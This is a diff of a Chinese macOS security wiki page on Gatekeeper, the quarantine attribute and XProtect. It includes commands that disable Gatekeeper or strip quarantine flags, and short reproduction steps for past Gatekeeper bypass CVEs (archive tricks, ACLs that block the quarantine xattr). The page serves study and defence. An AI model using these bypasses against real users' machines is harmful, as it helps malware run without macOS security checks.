当用户首次安装或执行软件时,无论是钉附在可执行文件上还是在线上找到的公证票据的存在,都会**告知Gatekeeper该软件已经由苹果公证**。因此,Gatekeeper在初始启动对话框中显示描述性消息,指出软件已经经过苹果的恶意内容检查。这个过程因此增强了用户对他们在系统上安装或运行的软件安全性的信心。
|
||||||
|
|
||||||
### 枚举GateKeeper
|
### 枚举GateKeeper
|
||||||
|
|
||||||
GateKeeper是多个安全组件,用于阻止不受信任的应用程序的执行,同时也是其中一个组件。
|
GateKeeper既是**几个防止不受信任应用执行的安全组件**,也是**其中一个组件**。
|
||||||
|
|
||||||
可以使用以下命令查看GateKeeper的状态:
|
可以通过以下方式查看GateKeeper的**状态**:
|
||||||
```bash
|
```bash
|
||||||
# Check the status
|
# Check the status
|
||||||
spctl --status
|
spctl --status
|
||||||
```
|
```
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
请注意,GateKeeper 签名检查仅针对具有隔离属性的文件进行。
|
请注意,GateKeeper 签名检查仅对**具有隔离属性的文件**执行,而不是对每个文件执行。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
GateKeeper 将根据首选项和签名检查来确定是否可以执行二进制文件:
|
GateKeeper 将根据**偏好设置和签名**检查二进制文件是否可以执行:
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (678).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (678).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
保存此配置的数据库位于 **`/var/db/SystemPolicy`**。您可以使用以下命令以 root 身份检查此数据库:
|
保存此配置的数据库位于 **`/var/db/SystemPolicy`**。您可以使用以下命令作为 root 检查此数据库:
|
||||||
```bash
|
```bash
|
||||||
# Open database
|
# Open database
|
||||||
sqlite3 /var/db/SystemPolicy
|
sqlite3 /var/db/SystemPolicy
|
||||||
|
@ -94,11 +94,10 @@ anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] exists
|
||||||
anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists and (certificate leaf[field.1.2.840.113635.100.6.1.14] or certificate leaf[field.1.2.840.113635.100.6.1.13]) and notarized|1|0|Notarized Developer ID
|
anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists and (certificate leaf[field.1.2.840.113635.100.6.1.14] or certificate leaf[field.1.2.840.113635.100.6.1.13]) and notarized|1|0|Notarized Developer ID
|
||||||
[...]
|
[...]
|
||||||
```
|
```
|
||||||
请注意,第一条规则以“**App Store**”结尾,第二条规则以“**Developer ID**”结尾,并且在之前的图像中,它被设置为**允许执行来自App Store和已识别开发者的应用程序**。
|
请注意,第一条规则以“**App Store**”结束,第二条规则以“**Developer ID**”结束,并且在前面的图片中,它被**启用以执行来自App Store和已识别开发者的应用程序**。\
|
||||||
|
如果您将该设置**修改**为App Store,那么“**Notarized Developer ID**”规则将会**消失**。
|
||||||
|
|
||||||
如果您将该设置修改为App Store,那么“**已经签名的开发者ID**”规则将消失。
|
还有成千上万的**GKE类型**规则:
|
||||||
|
|
||||||
还有成千上万个**GKE类型的规则**。
|
|
||||||
```bash
|
```bash
|
||||||
SELECT requirement,allow,disabled,label from authority where label = 'GKE' limit 5;
|
SELECT requirement,allow,disabled,label from authority where label = 'GKE' limit 5;
|
||||||
cdhash H"b40281d347dc574ae0850682f0fd1173aa2d0a39"|1|0|GKE
|
cdhash H"b40281d347dc574ae0850682f0fd1173aa2d0a39"|1|0|GKE
|
||||||
|
@ -107,9 +106,13 @@ cdhash H"4317047eefac8125ce4d44cab0eb7b1dff29d19a"|1|0|GKE
|
||||||
cdhash H"0a71962e7a32f0c2b41ddb1fb8403f3420e1d861"|1|0|GKE
|
cdhash H"0a71962e7a32f0c2b41ddb1fb8403f3420e1d861"|1|0|GKE
|
||||||
cdhash H"8d0d90ff23c3071211646c4c9c607cdb601cb18f"|1|0|GKE
|
cdhash H"8d0d90ff23c3071211646c4c9c607cdb601cb18f"|1|0|GKE
|
||||||
```
|
```
|
||||||
这些哈希值来自于 **`/var/db/SystemPolicyConfiguration/gke.bundle/Contents/Resources/gke.auth`**, **`/var/db/gke.bundle/Contents/Resources/gk.db`** 和 **`/var/db/gkopaque.bundle/Contents/Resources/gkopaque.db`**。
|
这些是来自 **`/var/db/SystemPolicyConfiguration/gke.bundle/Contents/Resources/gke.auth`, `/var/db/gke.bundle/Contents/Resources/gk.db`** 和 **`/var/db/gkopaque.bundle/Contents/Resources/gkopaque.db`** 的哈希值
|
||||||
|
|
||||||
**`spctl`** 的选项 **`--master-disable`** 和 **`--global-disable`** 将完全**禁用**这些签名检查:
|
或者,您可以使用以下命令列出前面的信息:
|
||||||
|
```bash
|
||||||
|
sudo spctl --list
|
||||||
|
```
|
||||||
|
选项 **`--master-disable`** 和 **`--global-disable`** 用于 **`spctl`** 将完全**禁用**这些签名检查:
|
||||||
```bash
|
```bash
|
||||||
# Disable GateKeeper
|
# Disable GateKeeper
|
||||||
spctl --global-disable
|
spctl --global-disable
|
||||||
|
@ -123,11 +126,11 @@ spctl --master-enable
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (679).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (679).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
可以使用以下方法**检查GateKeeper是否允许应用程序**:
|
可以**检查一个应用是否会被GateKeeper允许**通过:
|
||||||
```bash
|
```bash
|
||||||
spctl --assess -v /Applications/App.app
|
spctl --assess -v /Applications/App.app
|
||||||
```
|
```
|
||||||
可以通过GateKeeper添加新规则来允许执行特定应用程序:
|
可以通过以下方式在GateKeeper中添加新规则以允许执行特定应用程序:
|
||||||
```bash
|
```bash
|
||||||
# Check if allowed - nop
|
# Check if allowed - nop
|
||||||
spctl --assess -v /Applications/App.app
|
spctl --assess -v /Applications/App.app
|
||||||
|
@ -142,27 +145,27 @@ sudo spctl --enable --label "whitelist"
|
||||||
spctl --assess -v /Applications/App.app
|
spctl --assess -v /Applications/App.app
|
||||||
/Applications/App.app: accepted
|
/Applications/App.app: accepted
|
||||||
```
|
```
|
||||||
### 检疫文件
|
### 隔离文件
|
||||||
|
|
||||||
在下载应用程序或文件时,特定的 macOS 应用程序(如网络浏览器或电子邮件客户端)会为下载的文件附加一个称为“检疫标志”的扩展文件属性。该属性作为一项安全措施,将文件标记为来自不受信任的来源(互联网),并可能携带风险。然而,并非所有应用程序都会附加此属性,例如,常见的 BitTorrent 客户端软件通常会绕过此过程。
|
当**下载**应用程序或文件时,特定的macOS **应用程序**,如网页浏览器或电子邮件客户端,会**附加一个扩展文件属性**,通常被称为“**隔离标志**”。这个属性作为一种安全措施,用来**标记文件**来自不受信任的来源(互联网),并可能携带风险。然而,并非所有应用程序都会附加这个属性,例如,常见的BitTorrent客户端软件通常会绕过这个过程。
|
||||||
|
|
||||||
当用户尝试执行文件时,**检疫标志的存在会触发 macOS 的 Gatekeeper 安全功能**。
|
**隔离标志的存在在用户尝试执行文件时向macOS的Gatekeeper安全功能发出信号**。
|
||||||
|
|
||||||
在没有检疫标志的情况下(例如通过某些 BitTorrent 客户端下载的文件),Gatekeeper 的检查可能不会执行。因此,用户在打开从不安全或未知来源下载的文件时应谨慎。
|
在**没有隔离标志**的情况下(如通过某些BitTorrent客户端下载的文件),Gatekeeper的**检查可能不会执行**。因此,用户在打开来自不太安全或未知来源的下载文件时应谨慎行事。
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
**验证**代码签名的有效性是一个**资源密集型**的过程,其中包括生成代码及其所有捆绑资源的加密哈希。此外,检查证书的有效性还涉及在线检查苹果服务器,以查看其是否在签发后被吊销。出于这些原因,每次启动应用程序时运行完整的代码签名和公证检查是**不切实际的**。
|
**检查**代码签名的**有效性**是一个**资源密集型**的过程,包括生成代码及其所有捆绑资源的加密**哈希**。此外,检查证书有效性涉及对苹果服务器进行**在线检查**,以查看它在签发后是否已被撤销。因此,完整的代码签名和公证检查**不切实际地在每次启动应用时运行**。
|
||||||
|
|
||||||
因此,这些检查仅在执行带有检疫属性的应用程序时运行。
|
因此,这些检查**仅在执行带有隔离属性的应用时运行。**
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
此属性必须由创建/下载文件的应用程序**设置**。
|
这个属性必须由**创建/下载**文件的应用程序**设置**。
|
||||||
|
|
||||||
但是,沙盒化的文件将为它们创建的每个文件设置此属性。非沙盒化的应用程序可以自行设置此属性,或者在 **Info.plist** 中指定 [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/lsfilequarantineenabled?language=objc) 键,系统将在创建的文件上设置 `com.apple.quarantine` 扩展属性。
|
然而,沙盒化的文件将对它们创建的每个文件设置此属性。非沙盒化的应用程序可以自行设置,或者在**Info.plist**中指定[**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information_property_list/lsfilequarantineenabled?language=objc)键,这将使系统在创建的文件上设置`com.apple.quarantine`扩展属性,
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
可以使用以下命令**检查其状态并启用/禁用**(需要 root 权限):
|
可以**检查其状态并启用/禁用**(需要root权限):
|
||||||
```bash
|
```bash
|
||||||
spctl --status
|
spctl --status
|
||||||
assessments enabled
|
assessments enabled
|
||||||
|
@ -171,13 +174,13 @@ spctl --enable
|
||||||
spctl --disable
|
spctl --disable
|
||||||
#You can also allow nee identifies to execute code using the binary "spctl"
|
#You can also allow nee identifies to execute code using the binary "spctl"
|
||||||
```
|
```
|
||||||
您还可以使用以下命令**查找文件是否具有扩展属性**:
|
你也可以**查找文件是否具有隔离扩展属性**,使用:
|
||||||
```bash
|
```bash
|
||||||
xattr file.png
|
xattr file.png
|
||||||
com.apple.macl
|
com.apple.macl
|
||||||
com.apple.quarantine
|
com.apple.quarantine
|
||||||
```
|
```
|
||||||
检查**扩展属性**的**值**,并找出写入隔离属性的应用程序:
|
检查**扩展** **属性**的**值**,并找出写入隔离属性的应用程序:
|
||||||
```bash
|
```bash
|
||||||
xattr -l portada.png
|
xattr -l portada.png
|
||||||
com.apple.macl:
|
com.apple.macl:
|
||||||
|
@ -188,36 +191,108 @@ com.apple.macl:
|
||||||
00000040 00 00 00 00 00 00 00 00 |........|
|
00000040 00 00 00 00 00 00 00 00 |........|
|
||||||
00000048
|
00000048
|
||||||
com.apple.quarantine: 00C1;607842eb;Brave;F643CD5F-6071-46AB-83AB-390BA944DEC5
|
com.apple.quarantine: 00C1;607842eb;Brave;F643CD5F-6071-46AB-83AB-390BA944DEC5
|
||||||
# 00c1 -- It has been allowed to eexcute this file
|
# 00c1 -- It has been allowed to eexcute this file (QTN_FLAG_USER_APPROVED = 0x0040)
|
||||||
# 607842eb -- Timestamp
|
# 607842eb -- Timestamp
|
||||||
# Brave -- App
|
# Brave -- App
|
||||||
# F643CD5F-6071-46AB-83AB-390BA944DEC5 -- UID assigned to the file downloaded
|
# F643CD5F-6071-46AB-83AB-390BA944DEC5 -- UID assigned to the file downloaded
|
||||||
```
|
```
|
||||||
然后使用以下命令**删除**该属性:
|
实际上,一个进程“可以对其创建的文件设置隔离标志”(我尝试在创建的文件中应用 USER\_APPROVED 标志,但它不会应用):
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>源代码应用隔离标志</summary>
|
||||||
|
```c
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
|
||||||
|
enum qtn_flags {
|
||||||
|
QTN_FLAG_DOWNLOAD = 0x0001,
|
||||||
|
QTN_FLAG_SANDBOX = 0x0002,
|
||||||
|
QTN_FLAG_HARD = 0x0004,
|
||||||
|
QTN_FLAG_USER_APPROVED = 0x0040,
|
||||||
|
};
|
||||||
|
|
||||||
|
#define qtn_proc_alloc _qtn_proc_alloc
|
||||||
|
#define qtn_proc_apply_to_self _qtn_proc_apply_to_self
|
||||||
|
#define qtn_proc_free _qtn_proc_free
|
||||||
|
#define qtn_proc_init _qtn_proc_init
|
||||||
|
#define qtn_proc_init_with_self _qtn_proc_init_with_self
|
||||||
|
#define qtn_proc_set_flags _qtn_proc_set_flags
|
||||||
|
#define qtn_file_alloc _qtn_file_alloc
|
||||||
|
#define qtn_file_init_with_path _qtn_file_init_with_path
|
||||||
|
#define qtn_file_free _qtn_file_free
|
||||||
|
#define qtn_file_apply_to_path _qtn_file_apply_to_path
|
||||||
|
#define qtn_file_set_flags _qtn_file_set_flags
|
||||||
|
#define qtn_file_get_flags _qtn_file_get_flags
|
||||||
|
#define qtn_proc_set_identifier _qtn_proc_set_identifier
|
||||||
|
|
||||||
|
typedef struct _qtn_proc *qtn_proc_t;
|
||||||
|
typedef struct _qtn_file *qtn_file_t;
|
||||||
|
|
||||||
|
int qtn_proc_apply_to_self(qtn_proc_t);
|
||||||
|
void qtn_proc_init(qtn_proc_t);
|
||||||
|
int qtn_proc_init_with_self(qtn_proc_t);
|
||||||
|
int qtn_proc_set_flags(qtn_proc_t, uint32_t flags);
|
||||||
|
qtn_proc_t qtn_proc_alloc();
|
||||||
|
void qtn_proc_free(qtn_proc_t);
|
||||||
|
qtn_file_t qtn_file_alloc(void);
|
||||||
|
void qtn_file_free(qtn_file_t qf);
|
||||||
|
int qtn_file_set_flags(qtn_file_t qf, uint32_t flags);
|
||||||
|
uint32_t qtn_file_get_flags(qtn_file_t qf);
|
||||||
|
int qtn_file_apply_to_path(qtn_file_t qf, const char *path);
|
||||||
|
int qtn_file_init_with_path(qtn_file_t qf, const char *path);
|
||||||
|
int qtn_proc_set_identifier(qtn_proc_t qp, const char* bundleid);
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
|
||||||
|
qtn_proc_t qp = qtn_proc_alloc();
|
||||||
|
qtn_proc_set_identifier(qp, "xyz.hacktricks.qa");
|
||||||
|
qtn_proc_set_flags(qp, QTN_FLAG_DOWNLOAD | QTN_FLAG_USER_APPROVED);
|
||||||
|
qtn_proc_apply_to_self(qp);
|
||||||
|
qtn_proc_free(qp);
|
||||||
|
|
||||||
|
FILE *fp;
|
||||||
|
fp = fopen("thisisquarantined.txt", "w+");
|
||||||
|
fprintf(fp, "Hello Quarantine\n");
|
||||||
|
fclose(fp);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
}
|
||||||
|
```
|
||||||
|
</details>
|
||||||
|
|
||||||
|
并**移除**该属性:
|
||||||
```bash
|
```bash
|
||||||
xattr -d com.apple.quarantine portada.png
|
xattr -d com.apple.quarantine portada.png
|
||||||
#You can also remove this attribute from every file with
|
#You can also remove this attribute from every file with
|
||||||
find . -iname '*' -print0 | xargs -0 xattr -d com.apple.quarantine
|
find . -iname '*' -print0 | xargs -0 xattr -d com.apple.quarantine
|
||||||
```
|
```
|
||||||
使用以下命令查找所有被隔离的文件:
|
```bash
|
||||||
|
xattr -r -d com.apple.quarantine /path/to/directory
|
||||||
|
```
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
这个命令会递归地删除指定目录下所有文件的隔离属性。
|
||||||
```bash
|
```bash
|
||||||
find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.quarantine"
|
find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.quarantine"
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
隔离信息也存储在由LaunchServices管理的中央数据库中,路径为**`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**。
|
隔离信息也存储在由LaunchServices管理的中央数据库中,位于 **`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**。
|
||||||
|
|
||||||
|
#### **Quarantine.kext**
|
||||||
|
|
||||||
|
内核扩展只能通过系统上的**内核缓存**获得;然而,你_可以_从 **https://developer.apple.com/** 下载**内核调试工具包**,其中包含了该扩展的符号化版本。
|
||||||
|
|
||||||
### XProtect
|
### XProtect
|
||||||
|
|
||||||
XProtect是macOS中内置的**反恶意软件**功能。XProtect会在应用程序首次启动或修改时,根据其已知恶意软件和不安全文件类型的数据库对其进行检查。当你通过某些应用程序(如Safari、Mail或Messages)下载文件时,XProtect会自动扫描该文件。如果文件与其数据库中的任何已知恶意软件匹配,XProtect将**阻止文件运行**并向你发出警报。
|
XProtect是macOS内置的**反恶意软件**功能。XProtect会在应用程序首次启动或修改时**检查其数据库中的已知恶意软件和不安全文件类型**。当你通过某些应用程序下载文件时,例如Safari、Mail或Messages,XProtect会自动扫描该文件。如果它与数据库中的任何已知恶意软件匹配,XProtect将**阻止文件运行**并向你警告威胁。
|
||||||
|
|
||||||
XProtect数据库由Apple定期更新,包含新的恶意软件定义,并且这些更新会自动下载和安装到你的Mac上。这确保了XProtect始终与最新的已知威胁保持同步。
|
Apple会**定期更新**XProtect数据库中的恶意软件定义,这些更新会自动下载并安装在你的Mac上。这确保了XProtect始终与最新的已知威胁保持同步。
|
||||||
|
|
||||||
然而,值得注意的是,**XProtect并不是一个功能完备的防病毒解决方案**。它只检查特定的已知威胁列表,并且不像大多数防病毒软件那样执行实时扫描。
|
然而,值得注意的是,**XProtect不是一个全功能的防病毒解决方案**。它只检查特定列表中的已知威胁,并不像大多数防病毒软件那样执行访问时扫描。
|
||||||
|
|
||||||
你可以获取有关最新XProtect更新的信息,运行以下命令:
|
你可以通过以下命令获取最新XProtect更新信息:
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
|
@ -225,50 +300,60 @@ system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistC
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
XProtect位于SIP保护的位置**/Library/Apple/System/Library/CoreServices/XProtect.bundle**,在该bundle中,您可以找到XProtect使用的信息:
|
XProtect 位于 SIP 保护位置 **/Library/Apple/System/Library/CoreServices/XProtect.bundle**,在包内部可以找到 XProtect 使用的信息:
|
||||||
|
|
||||||
* **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**:允许具有这些cdhashes的代码使用旧版授权。
|
* **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**:允许具有这些 cdhashes 的代码使用旧版权限。
|
||||||
* **`XProtect.bundle/Contents/Resources/XProtect.meta.plist`**:禁止通过BundleID和TeamID加载的插件和扩展列表,或指示最低版本。
|
* **`XProtect.bundle/Contents/Resources/XProtect.meta.plist`**:列出了通过 BundleID 和 TeamID 不允许加载的插件和扩展,或指示最低版本。
|
||||||
* **`XProtect.bundle/Contents/Resources/XProtect.yara`**:用于检测恶意软件的Yara规则。
|
* **`XProtect.bundle/Contents/Resources/XProtect.yara`**:Yara 规则用于检测恶意软件。
|
||||||
* **`XProtect.bundle/Contents/Resources/gk.db`**:包含被阻止的应用程序和TeamID的哈希的SQLite3数据库。
|
* **`XProtect.bundle/Contents/Resources/gk.db`**:SQLite3 数据库,包含被阻止的应用程序的哈希和 TeamIDs。
|
||||||
|
|
||||||
请注意,还有另一个与XProtect相关的应用程序**`/Library/Apple/System/Library/CoreServices/XProtect.app`**与Gatekeeper进程无关。
|
请注意,还有另一个与 XProtect 相关的应用程序位于 **`/Library/Apple/System/Library/CoreServices/XProtect.app`**,它不涉及 Gatekeeper 过程。
|
||||||
|
|
||||||
## Gatekeeper绕过
|
### 非 Gatekeeper
|
||||||
|
|
||||||
任何绕过Gatekeeper的方式(成功让用户下载并在Gatekeeper应该禁止的情况下执行)都被视为macOS中的漏洞。以下是一些过去允许绕过Gatekeeper的技术所分配的CVE:
|
{% hint style="danger" %}
|
||||||
|
请注意,Gatekeeper **并不是每次** 执行应用程序时都会执行,只有 _**AppleMobileFileIntegrity**_ (AMFI) 会在你执行已经被 Gatekeeper 执行和验证过的应用程序时,**验证可执行代码签名**。
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
因此,之前可以执行应用程序以通过 Gatekeeper 缓存它,然后**修改应用程序的非可执行文件**(如 Electron asar 或 NIB 文件),如果没有其他保护措施,应用程序将会**执行**并包含**恶意**添加。
|
||||||
|
|
||||||
|
然而,现在这已经不可能了,因为 macOS **阻止修改**应用程序包内的文件。所以,如果你尝试 [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md) 攻击,你会发现由于在通过 Gatekeeper 缓存应用程序后无法修改包,因此无法滥用它。如果你更改例如 Contents 目录的名称为 NotCon(如漏洞中所示),然后执行应用程序的主二进制文件以通过 Gatekeeper 缓存它,它将触发错误并不会执行。
|
||||||
|
|
||||||
|
## Gatekeeper 绕过
|
||||||
|
|
||||||
|
任何绕过 Gatekeeper 的方法(设法让用户下载某些东西并在 Gatekeeper 应该禁止时执行它)都被视为 macOS 中的漏洞。以下是过去允许绕过 Gatekeeper 的技术分配的一些 CVE:
|
||||||
|
|
||||||
### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)
|
### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)
|
||||||
|
|
||||||
当使用**Archive Utility**解压缩时,**路径超过886个字符**的文件将无法继承com.apple.quarantine扩展属性,从而可以**绕过Gatekeeper对这些文件的限制**。
|
通过 **Archive Utility** 解压时,路径长度超过 886 个字符的文件会失败继承 com.apple.quarantine 扩展属性,使得可能**绕过 Gatekeeper**。
|
||||||
|
|
||||||
有关更多信息,请查看[**原始报告**](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)。
|
查看[**原始报告**](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)获取更多信息。
|
||||||
|
|
||||||
### [CVE-2021-30990](https://ronmasas.com/posts/bypass-macos-gatekeeper)
|
### [CVE-2021-30990](https://ronmasas.com/posts/bypass-macos-gatekeeper)
|
||||||
|
|
||||||
当使用**Automator**创建应用程序时,关于其执行所需信息存储在`application.app/Contents/document.wflow`中,而不是可执行文件中。可执行文件只是一个名为**Automator Application Stub**的通用Automator二进制文件。
|
当使用 **Automator** 创建应用程序时,关于它需要执行的信息在 `application.app/Contents/document.wflow` 中,而不是在可执行文件中。可执行文件只是一个通用的 Automator 二进制文件,称为 **Automator Application Stub**。
|
||||||
|
|
||||||
因此,您可以将`application.app/Contents/MacOS/Automator\ Application\ Stub`**通过符号链接指向系统中的另一个Automator Application Stub**,它将执行`document.wflow`中的内容(您的脚本),而不会触发Gatekeeper,因为实际的可执行文件没有隔离属性。
|
因此,你可以使 `application.app/Contents/MacOS/Automator\ Application\ Stub` **通过符号链接指向系统内的另一个 Automator Application Stub**,它将执行 `document.wflow` 中的内容(你的脚本)**而不触发 Gatekeeper**,因为实际的可执行文件没有隔离 xattr。 
|
||||||
|
|
||||||
示例预期位置:`/System/Library/CoreServices/Automator\ Application\ Stub.app/Contents/MacOS/Automator\ Application\ Stub`
|
预期位置示例:`/System/Library/CoreServices/Automator\ Application\ Stub.app/Contents/MacOS/Automator\ Application\ Stub`
|
||||||
|
|
||||||
有关更多信息,请查看[**原始报告**](https://ronmasas.com/posts/bypass-macos-gatekeeper)。
|
查看[**原始报告**](https://ronmasas.com/posts/bypass-macos-gatekeeper)获取更多信息。
|
||||||
|
|
||||||
### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)
|
### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)
|
||||||
|
|
||||||
在此绕过中,创建了一个zip文件,从`application.app/Contents`开始压缩,而不是从`application.app`开始。因此,**隔离属性**被应用于**来自`application.app/Contents`的所有文件**,但未应用于Gatekeeper检查的`application.app`,因此Gatekeeper被绕过,因为当触发`application.app`时,它**没有隔离属性**。
|
在这个绕过中,创建了一个 zip 文件,从 `application.app/Contents` 开始压缩应用程序,而不是从 `application.app` 开始。因此,**隔离 attr** 被应用于所有来自 `application.app/Contents` 的**文件**,但**不适用于 `application.app`**,这是 Gatekeeper 正在检查的,所以 Gatekeeper 被绕过了,因为当触发 `application.app` 时,它**没有隔离属性**。
|
||||||
```bash
|
```bash
|
||||||
zip -r test.app/Contents test.zip
|
zip -r test.app/Contents test.zip
|
||||||
```
|
```
|
||||||
查看[**原始报告**](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)以获取更多信息。
|
查看[**原始报告**](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)获取更多信息。
|
||||||
|
|
||||||
### [CVE-2022-32910](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32910)
|
### [CVE-2022-32910](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32910)
|
||||||
|
|
||||||
即使组件不同,利用此漏洞的方法与之前的漏洞非常相似。在这种情况下,我们将从**`application.app/Contents`**生成一个Apple Archive,因此**`application.app`在被**Archive Utility**解压缩时不会获得隔离属性**。
|
即使组件不同,利用这个漏洞的方法与之前的非常相似。在这种情况下,我们将从 **`application.app/Contents`** 生成一个苹果档案,因此当通过**档案实用工具**解压时,**`application.app`** 不会获得隔离属性。
|
||||||
```bash
|
```bash
|
||||||
aa archive -d test.app/Contents -o test.app.aar
|
aa archive -d test.app/Contents -o test.app.aar
|
||||||
```
|
```
|
||||||
请查看[**原始报告**](https://www.jamf.com/blog/jamf-threat-labs-macos-archive-utility-vulnerability/)以获取更多信息。
|
查看[**原始报告**](https://www.jamf.com/blog/jamf-threat-labs-macos-archive-utility-vulnerability/)以获取更多信息。
|
||||||
|
|
||||||
### [CVE-2022-42821](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)
|
### [CVE-2022-42821](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)
|
||||||
|
|
||||||
|
@ -279,24 +364,35 @@ chmod +a "everyone deny writeextattr" /tmp/no-attr
|
||||||
xattr -w attrname vale /tmp/no-attr
|
xattr -w attrname vale /tmp/no-attr
|
||||||
xattr: [Errno 13] Permission denied: '/tmp/no-attr'
|
xattr: [Errno 13] Permission denied: '/tmp/no-attr'
|
||||||
```
|
```
|
||||||
此外,**AppleDouble**文件格式会复制包含其ACE的文件。
|
此外,**AppleDouble** 文件格式会复制文件及其ACEs。
|
||||||
|
|
||||||
在[**源代码**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)中,可以看到存储在名为**`com.apple.acl.text`**的xattr中的ACL文本表示将被设置为解压后文件的ACL。因此,如果您将应用程序压缩为使用**AppleDouble**文件格式的zip文件,并且该ACL阻止其他xattr写入它...则隔离xattr不会设置到应用程序中:
|
在[**源代码**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)中可以看到,存储在名为 **`com.apple.acl.text`** 的xattr内的ACL文本表示形式将被设置为解压缩文件的ACL。因此,如果你将一个应用程序压缩成带有阻止其他xattrs写入的ACL的**AppleDouble**文件格式的zip文件...隔离xattr就没有被设置到应用程序中:
|
||||||
|
|
||||||
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
chmod +a "everyone deny write,writeattr,writeextattr" /tmp/test
|
chmod +a "everyone deny write,writeattr,writeextattr" /tmp/test
|
||||||
ditto -c -k test test.zip
|
ditto -c -k test test.zip
|
||||||
python3 -m http.server
|
python3 -m http.server
|
||||||
# Download the zip from the browser and decompress it, the file shuold be without a wuarantine xattr
|
# Download the zip from the browser and decompress it, the file should be without a quarantine xattr
|
||||||
```
|
```
|
||||||
|
{% endcode %}
|
||||||
|
|
||||||
查看[**原始报告**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)以获取更多信息。
|
查看[**原始报告**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)以获取更多信息。
|
||||||
|
|
||||||
|
注意,这也可能通过AppleArchives被利用:
|
||||||
|
```bash
|
||||||
|
mkdir app
|
||||||
|
touch app/test
|
||||||
|
chmod +a "everyone deny write,writeattr,writeextattr" app/test
|
||||||
|
aa archive -d app -o test.aar
|
||||||
|
```
|
||||||
### [CVE-2023-27943](https://blog.f-secure.com/discovery-of-gatekeeper-bypass-cve-2023-27943/)
|
### [CVE-2023-27943](https://blog.f-secure.com/discovery-of-gatekeeper-bypass-cve-2023-27943/)
|
||||||
|
|
||||||
发现**Google Chrome未设置下载文件的隔离属性**,这是由于一些macOS内部问题引起的。
|
发现**Google Chrome**由于macOS内部问题**没有为下载的文件设置隔离属性**。
|
||||||
|
|
||||||
### [CVE-2023-27951](https://redcanary.com/blog/gatekeeper-bypass-vulnerabilities/)
|
### [CVE-2023-27951](https://redcanary.com/blog/gatekeeper-bypass-vulnerabilities/)
|
||||||
|
|
||||||
AppleDouble文件格式将文件的属性存储在以`._`开头的单独文件中,这有助于在macOS设备之间复制文件属性。然而,注意到在解压AppleDouble文件后,以`._`开头的文件**未被赋予隔离属性**。
|
AppleDouble文件格式通过以`._`开头的单独文件存储文件属性,这有助于**在macOS机器之间**复制文件属性。然而,注意到解压AppleDouble文件后,以`._`开头的文件**没有被赋予隔离属性**。
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
|
@ -310,7 +406,8 @@ aa archive -d test/ -o test.aar
|
||||||
```
|
```
|
||||||
